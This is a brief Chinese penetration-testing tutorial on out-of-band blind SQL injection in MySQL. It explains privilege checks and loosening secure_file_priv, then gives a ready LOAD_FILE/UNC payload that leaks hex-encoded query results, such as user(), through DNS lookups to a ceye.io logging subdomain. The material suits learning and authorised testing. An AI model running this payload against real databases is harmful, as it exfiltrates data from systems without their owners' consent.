0x00 概要
测试一些站点时,大部分都是没有回显的,这时我们一般自己写脚本来猜数据,但是会产生大量的请求导致IP被ban。
所以这时我们就可以把 select 出来的数据发给dns服务器,利用dns解析产生日志来查看数据
原理就是DNS在解析的时候会留下日志,然后我们通过dns平台来读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
免费好用 dnslog平台:http://ceye.io/
0x01 权限查看
通过DNS log盲注要用到 load_file() 函数,所以一般要是root权限,并且要 load_file() 函数可以正常使用。
- mysql执行:show variables like ‘%secure%’;
- 查看load_file()可以读取的磁盘。
- 当secure_file_priv为空,就可以读取全部磁盘的文件。
- 当secure_file_priv为G:\,就可以读取G盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
0x02 my.ini 修改
本地测试时,如果权限不够可以修改一下
- 打开my.ini
- 搜索一下secure_file_priv
- 有就修改为 secure_file_priv=””
- 没有就添加这一句:secure_file_priv=””
- 重新mysql
0x03 测试
记忆方式:select LOAD_FILE(CONCAT('\\\\',(select payload),'.11b7kdti.ceye.io\\abc'));
实战:select LOAD_FILE(CONCAT('\\\\',(select hex(user())),'.11b7kdti.ceye.io\\abc'));;
0x04 注意点
- 域名前缀长度限制在63个字符,解决办法是用mid()之类的函数来获取。
- 域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。